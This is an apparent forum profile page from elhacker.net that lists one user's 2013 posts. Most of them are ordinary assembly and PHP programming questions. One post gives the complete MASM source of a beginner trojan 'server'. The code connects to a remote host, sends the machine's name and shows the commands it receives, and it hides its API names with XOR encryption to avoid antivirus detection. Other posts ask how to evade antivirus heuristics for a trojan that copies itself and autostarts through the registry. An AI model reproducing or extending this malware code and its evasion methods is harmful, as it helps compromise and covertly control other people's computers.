elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10
81  Programación / ASM / Solucionar WSAEWOULDBLOCK en: 16 Mayo 2013, 00:33 am
Hola amigos! Tengo el siguiente problema que me esta torturando... ya llevo horasss...

Bueno, el codigo primero:

Código:

Conn:
invoke connect, sock, addr sa, sizeof sa

.IF eax==SOCKET_ERROR

     invoke WSAGetLastError

     .IF eax==WSAEWOULDBLOCK

          jmp Conn

     .ELSEIF eax==WSAEALREADY

  jmp Conn

     .ELSE

  ;Por lo general, conexion establecida u otro ErrorCode

     .ENDIF

.ENDIF

Ok,, estoy usando el ejemplo de Iczelion, con Socket y procedimiento de ventana...
El problema esta en que la conexion queda trancada en error: WSAEWOULDBLOCK, y por lo que entendi de este error es algo asi como: "Dame un minuto que estoy intentando conectar" jajaja Bueno, no es asi literalmente, pero seria algo asi, "socket ocupado". Como el ejemplo funciona con procedimientos de ventana, el programa se cuelga al quedar en un bucle de conexion infinito, (intentando conectar y haciendo loop en volver a conectar...)
entonces la ventana no aparece siquiera..
Se me ocurre poner un timer, pero no tengo ni idea por donde empezar... Alguna sugerencia o algun metodo timer pleaseee!!

Thnks all !!
82  Programación / ASM / Principio de Troyano ASM en: 15 Mayo 2013, 02:44 am
Buenas amigos del foro!! Hoy ando regalon...
Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja
Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca...

Lo probe con virustotal y asi como esta tiene 4 detecciones:

VBA32            Malware-Cryptor.Win32.Allblock
Norman            Crypt.AWHI
F-Prot            W32/Threat-HLLSI-based!Maximus
Commtouch    W32/Threat-HLLSI-based!Maximus

Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta..

Sin mas que decir:

Código:
.386
.model flat, stdcall
option casemap:none

include Servidor.inc

bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc

.data

Ip db "127.0.0.1",0 ;Direccion remota
   Port dd 8888 ;Puerto remoto
  Ver dd 2.2 ;Version de WinSck
   wsa WSADATA <> ;Estructura WSAData
   sa sockaddr_in <>        ;Estructura de sockaddr_in

Titulo db "Titulo de pruebas", 0
Saludo     db "CONNECT|%s0", 0 ;Saludo de conexion

;************************************************************

; Librerias
Ws2 db "Pt5X45)ckk", 0               ;Ws2
U32 db "Rtbu45)ckk", 0               ;User32
Kn32 db "Lbuibk45)ckk", 0       ;Kernel
; Socket
FunW db "PTFTsfusrw", 0 ;WSAStart
FunZ db "PTFDkbfirw", 0 ;WSAClean
FunS db "thdlbs", 0 ;socket
FunI db "nibsXfccu", 0 ;inet_addr
FunH db "oshit", 0 ;htons
FunC db "dhiibds", 0 ;connect
FunV db "ubdq", 0 ;recv
FunO db "dkhtbthdlbs", 0 ;closesocket
FunN db "tbic", 0        ;send
; Funciones del programa
FunM db "Jbttf`bEhF", 0 ;MessageBoxA
FunE db "BnsWuhdbtt", 0 ;ExitProcess
; Datos del Pc
FunG db "@bsDhjwrsbuIfjbF", 0        ;GetComputerNameA
FunP db "ptwunisaF", 0 ;wsprintfA
; Carga dinamica de Apis
FunL db "KhfcKneufu~F", 0        ;LoadLibraryA
FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress

;************************************************************

;******** CP NAME ***********
buffer     db 100 dup(?) ;Buffer para guardar el nombre del pc
bSize dd bufSize ;Tamaño para el nombre del pc
getName db bufSize dup(?) ;Necesario para GetComputerNameA
;****************************

.data?

Sock dd ? ;Socket
  Buffer db 512 dup(?) ;Buffer para recv
Hand dd ? ;Handle de funcion dinamica
LoadL dd ? ;Handle de LoadLibraryA
GetP dd ? ;Handle de GetProcAddress

.const

WM_SOCK equ WM_USER + 100
SOCK_STRAM  equ 1

.code

Inicio:
jmp Mentira
Inicio2:

invoke Llamar, addr Ws2, addr FunW ;WSAStart
push offset [wsa]
push offset [Ver]
call Hand

.IF eax!=NULL
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

invoke Llamar, addr Ws2, addr FunS ;socket
push 0
push SOCK_STRAM
push AF_INET
call Hand

.IF eax==INVALID_SOCKET
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

mov Sock, eax
mov sa.sin_family, AF_INET

invoke Llamar, addr Ws2, addr FunI ;inet_addr
push offset [Ip]
call Hand
mov sa.sin_addr, eax

invoke Llamar, addr Ws2, addr FunH ;htons
push Port
call Hand

mov sa.sin_port, ax

Conn:

invoke Llamar, addr Ws2, addr FunC ;connect
push sizeof sa
push offset [sa]
push Sock
call Hand
cmp eax, 0
jne Conn

;**********************************************
;              GetComputerName
;**********************************************
invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA
push offset [bSize]
push offset [getName]
call Hand

invoke Llamar, addr U32, addr FunP ;wsprintfA
push offset [getName]
push offset [Saludo]
push offset [buffer]
call Hand

invoke Llamar, addr Ws2, addr FunN ;send
push 0
push sizeof buffer
push offset [buffer]
push Sock
call Hand
;**********************************************

Recv:

invoke Llamar, addr Ws2, addr FunV ;recv
push 0
push sizeof Buffer
push offset [Buffer]
push Sock
call Hand
cmp eax, -1
je Recon

invoke Llamar, addr U32, addr FunM ;MessageBoxA
push MB_OK
push offset [Titulo]
push offset [Buffer]
push 0
call Hand
jmp Recv

Recon:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
jmp Inicio2

Clse:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand

invoke Llamar, addr Kn32, addr FunE ;ExitProcess
push 0
call Hand

Dinamic proc Libreria:DWORD, Funcion:DWORD

push Libreria
call LoadLibrary
push Funcion
push eax
call GetProcAddress

ret

Dinamic endp

Llamar proc Lib:DWORD, Fun:DWORD

push [Lib]
call LoadL
push [Fun]
push eax
call GetP
mov Hand, eax

ret
Llamar endp

Decript proc Funcion:DWORD

    xor ecx,ecx
    mov eax, [Funcion]
    bucle:
    cmp byte ptr ds: [eax + ecx], 0
    je salir
    xor byte ptr ds:[eax + ecx], 7
    inc ecx
    jmp bucle
    salir:
    ret

Decript endp
Mentira:

invoke Decript, addr U32 ;User32 -
invoke Decript, addr Kn32 ;Kernel32 - APIS
invoke Decript, addr Ws2 ;WinSock -

invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS
invoke Decript, addr FunT ;GetProcaddress -

invoke Decript, addr FunW ;WsaStartup -
invoke Decript, addr FunZ ;WsaClean -
invoke Decript, addr FunS ;socket -
invoke Decript, addr FunI ;inet_addr -
invoke Decript, addr FunH ;htoons - SOCKET
invoke Decript, addr FunC ;connect -
invoke Decript, addr FunN ;send -
invoke Decript, addr FunV ;recv -
invoke Decript, addr FunO ;closesocket -

invoke Decript, addr FunM ;MessageboxA -
invoke Decript, addr FunE ;ExitProcess - GENERALES
invoke Decript, addr FunP ;wsprintfA -
invoke Decript, addr FunG

;*********************************************
; Obtengo Direccion de Getproc y LoadLib
;*********************************************
push offset [FunL]
push offset [Kn32]
call Dinamic
mov LoadL, eax
push offset [FunT]
push offset [Kn32]
call Dinamic
mov GetP, eax
;*********************************************
jmp Inicio2

end Inicio

Bueno, ahi esta...
Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido..

Saludos!
83  Programación / ASM / Ayuda implementando modulos en: 14 Mayo 2013, 22:06 pm
Hola amigos!!! Tengo una pequeña consulta hoy.. Estoy trabajando con Masm y RadASM.. En el explorador de proyecto dice que se pueden agregar modulos...
Esos modulos en realidad son archivos .asm
La duda es si es lo mismo insertar un modulo que insertar un asm?

Gracias!!
84  Seguridad Informática / Análisis y Diseño de Malware / A que se debe ?? :D en: 10 Mayo 2013, 00:33 am
Buenas señores y señoras !! A que se debe esta deteccion ?

TR/Crypt.XPACK.Gen y Malware-Cryptor.Win32.Allblock

Que es lo que me detecta ? Puede ser una rutina de desencriptacion de cadenas quizas ??

Y ya que estamos.. si es eso lo que me detecta,, (la desencriptacion) alguien sabe de algun algoritmo para cifrar cadenas en asm ? uno mejor que sumarle un numero a los caracteres ascii, porque eso es lo que hago y esta muy simplote... Y con xor, la verdad que me da la misma mala espina.. no es nada muy elaborado..

Desde ya, Muchas gracias!!!
85  Programación / ASM / Ayuda con interrupciones.. en: 2 Mayo 2013, 23:45 pm
Hola amigos, espero anden bien..
Me quede trancado con algo bien simple.. :/
Por que puede ser que no funcionen las interrupciones del DOS ?? No puedo imprimir una cadena en la pantalla con 21h

Gracias y Saludos!
86  Seguridad Informática / Análisis y Diseño de Malware / Recomendaciones para evadir heuristica en: 12 Abril 2013, 07:27 am
Buenas amigos Foreros!! Espero anden bien :)

Les cuento.. Estoy desarrollando un pequeño troyano en asm, con funciones basicas,, lo justo y necesario.. Pero la cosa se esta complicando con los antivirus..
Yo tengo una tecnica para ir haciendo estas cosas.. voy creando partes del codigo y las voy probando en, por ejemplo, Novirusthanks... Bien, la cosa es que ya tengo algunas cosas "funcionando", por ejemplo, que la aplicacion se autocopie en el disco duro.. (deteccion por heuristica), tambien logre escribir en el registro de windows, para que se autoinicie.. (deteccion por virus), y asi la lista sigue un poco mas,, por ejemplo al usar la API getcomputername..

Al parecer,, todo lo basico que un malware debe hacer, es detectado por uno o por otro antivirus..
He leido algunos hilos, foros, wikipedia, etc.. de cosas asi como el polimorfismo, encriptacion.. etc, etc

De estas tecnicas la unica que podria manejar (por ahora quizas) es la encriptacion..

Alguien tiene alguna idea de como se podria evadir un poco mejor ( sin llegar al extremo del polimorfismo ) a los AV ? Y de ser posible algun ejemplo practico, un pseudocode o idea teorica.. todo sirve..
Muchas gracias por leer toda esta maza que acabo de escribir!! jeje

Saludos!
87  Programación / ASM / Problema al limpiar variable en: 11 Abril 2013, 22:45 pm
Hola!! Como andan ?
Bueno,, la consulta es facil hoy.. resulta que tengo un problema al limpiar una variable llamada buffer, la cual se modifica constantemente cuando llega un dato por una conexion con socket.. aca dejo el code y el problema detallado.

.data?

buffer      db 512 dup(?)       ;Bufer para guardar datos recibidos

Eso en la sección .data?, luego en la sección .code:

Recv:
invoke recv, sock, addr buffer, sizeof buffer, 0
   
cmp sock, 0
je EMsg
   
EMsg:
invoke MessageBox, 0, addr buffer, addr Titulo, MB_OK
jmp Recv

El problema es que el "buffer" siempre queda cargado con la mayor cantidad de bytes que se le hayan pasado, por ejemplo:

si cargo buffer con "Hola", y luego cargo buffer con "J" el buffer queda asi: "Jola"

Ya probe con: mov buffer, 0 pero no da resultado...

Tendria que recorrer el buffer byte por byte y si es <> de 0 borrarlo ?? Es esa la solucion ?

Desde ya muchas gracias !! :)
88  Seguridad Informática / Análisis y Diseño de Malware / Cuantos TROYANOS conoces hechos en ASM ? en: 3 Abril 2013, 02:55 am
Buenas, amigos..
Por ahi viene la cosa hoy.. Me surgio esta interrogante,, porque desde mi posicion de novato en ASM, me propuse hacer un servidor de lo que podria ser un troyano..

Y la duda es.. Es realmente mejor un troyano en asm ? Sacando el tema de la portabilidad.
Los antivirus reconocen mas un malware hecho en asm ?

Saludos !!
89  Programación / ASM / Ayuda con funcion "Split" en: 26 Marzo 2013, 23:09 pm
Buenas amigos del foro.. Espero que anden bien.. :)

Bueno, creo que hoy la duda esta clarisima,, preciso dividir un string con un criterio dado,, asi, tal cual lo haria vb con split.

Si a alguien se le ocurre algo, una idea por donde empezar, o mejor aun un pseudocodigo, o lo que sea jaja

Desde ya, muchas gracias! :)
90  Programación / PHP / Problema con variable de sesion y variable de conexion en: 16 Marzo 2013, 00:36 am
Buenas señores y señoras! :) Tengo una cosulta que me esta rompiendo la cabeza...

Es posible asignar una variable de tipo "Resource id#" a una variable de sesion ?

Porque no he podido hacerlo, por mas que intento, la variable "$_SESSION['Conex']" me queda vacia!

Ahora veamos un ejemplo de lo que quiero..

include("Conexion.php");
$Conexion = Conectar(); --> Donde conectar es una funcion que conecta a mysql
$_SESSION['Conex'] = $Conexion;

La function conectar() funciona, lo se..

Yo preciso la variable "$Conexion" porque hago una consulta desde una funcion y no puedo acceder a la variable de otra forma si la variable no es global...

Bueno.. desde ya, Gracias!!
Páginas: 1 2 3 4 5 6 7 8 [9] 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines